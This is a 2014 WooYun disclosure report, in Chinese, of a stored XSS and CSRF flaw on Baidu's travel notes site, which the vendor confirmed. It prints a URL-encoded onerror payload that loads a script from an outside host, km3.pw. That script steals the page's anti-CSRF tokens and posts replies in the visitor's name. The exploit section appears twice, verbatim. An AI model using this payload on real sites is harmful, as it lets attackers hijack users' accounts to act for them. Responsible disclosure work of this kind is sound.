当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-080369

漏洞标题:百度某分站存储型XSS+csrf

相关厂商:百度

漏洞作者: 0x_Jin

提交时间:2014-10-22 15:58

修复时间:2014-12-06 16:00

公开时间:2014-12-06 16:00

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-22: 细节已通知厂商并且等待厂商处理中
2014-10-24: 厂商已经确认,细节仅向厂商公开
2014-11-03: 细节向核心白帽子及相关领域专家公开
2014-11-13: 细节向普通白帽子公开
2014-11-23: 细节向实习白帽子公开
2014-12-06: 细节向公众公开

简要描述:

今天跟往常一样闲着无事打开hao123找找站来X,突然就看到百度旅游了,突然就发现点问题了,然后妈妈再也不用担心我的帖子没回复了!

详细说明:

证明图:

QQ20141022-1.png


QQ20141022-6.png


首先问题出在游记 --> 实用攻略处

QQ20141022-2.png


在里面输入些字符 然后点击提交 然后抓包改包。
这里他会做很多次的验证 所以只修改一次是不行的!

QQ20141022-3.png


xss处就是我们的输入,虽然在前端限制了字符 但是服务端是没限制可输入字符的!
可以把payload给url编码一下然后放进去!
Payload:
%3Cimg%20src%3Dx%20onerror%3Ddocument.body.appendChild(createElement(%2Fscript%2F.source)).src%3Dalt%20alt%3D%2F%2Fkm3.pw%3E
加载 km3.pw/index.html的内容!
km3.pw的内容:

QQ20141022-4.png


var bdsExp=/bdstoken" value="\w{32}/;
var pidExp=/\w{24}" name="pid/;
var yuanma = document.all[0].outerHTML
var postoken1 = String(bdsExp.exec(yuanma)).replace('bdstoken" value="',"");
var postoken2 = String(pidExp.exec(yuanma)).replace('" name="pid',"");
function Connection(Sendtype,url,content,callback){
if (window.XMLHttpRequest){
var xmlhttp=new XMLHttpRequest();
}
else{
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4&&xmlhttp.status==200)
{
callback(xmlhttp.responseText);
}
}
xmlhttp.open(Sendtype,url,true);
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp.send(content);
}
Connection("POST","http://lvyou.baidu.com/notes/post/submit","content=%3Cp%3E0x_Jin%20Test%3C%2Fp%3E&nid=43cfba3e4ef59fdd26221554&bdstoken="+postoken1+"&pid="+postoken2+"&vcode_md5=&editorValue=%3Cp%3E0x_Jin%20Test%3C%2Fp%3E",function(){});


只要访问我的游记就会在我的游记下回复 0x_Jin Test!
我们来看下效果:

QQ20141022-5.png


测试URL:
http://lvyou.baidu.com/notes/43cfba3e4ef59fdd26221554

漏洞证明:

证明图:

QQ20141022-1.png


QQ20141022-6.png


首先问题出在游记 --> 实用攻略处

QQ20141022-2.png


在里面输入些字符 然后点击提交 然后抓包改包。
这里他会做很多次的验证 所以只修改一次是不行的!

QQ20141022-3.png


xss处就是我们的输入,虽然在前端限制了字符 但是服务端是没限制可输入字符的!
可以把payload给url编码一下然后放进去!
Payload:
%3Cimg%20src%3Dx%20onerror%3Ddocument.body.appendChild(createElement(%2Fscript%2F.source)).src%3Dalt%20alt%3D%2F%2Fkm3.pw%3E
加载 km3.pw/index.html的内容!
km3.pw的内容:

QQ20141022-4.png


var bdsExp=/bdstoken" value="\w{32}/;
var pidExp=/\w{24}" name="pid/;
var yuanma = document.all[0].outerHTML
var postoken1 = String(bdsExp.exec(yuanma)).replace('bdstoken" value="',"");
var postoken2 = String(pidExp.exec(yuanma)).replace('" name="pid',"");
function Connection(Sendtype,url,content,callback){
if (window.XMLHttpRequest){
var xmlhttp=new XMLHttpRequest();
}
else{
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4&&xmlhttp.status==200)
{
callback(xmlhttp.responseText);
}
}
xmlhttp.open(Sendtype,url,true);
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp.send(content);
}
Connection("POST","http://lvyou.baidu.com/notes/post/submit","content=%3Cp%3E0x_Jin%20Test%3C%2Fp%3E&nid=43cfba3e4ef59fdd26221554&bdstoken="+postoken1+"&pid="+postoken2+"&vcode_md5=&editorValue=%3Cp%3E0x_Jin%20Test%3C%2Fp%3E",function(){});


只要访问我的游记就会在我的游记下回复 0x_Jin Test!
我们来看下效果:

QQ20141022-5.png


测试URL:
http://lvyou.baidu.com/notes/43cfba3e4ef59fdd26221554

修复方案:

过滤吧。你们比我更专业 不是么!

版权声明:转载请注明来源 0x_Jin@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-10-24 11:21

厂商回复:

感谢提交,已通知业务部门处理

最新状态:

暂无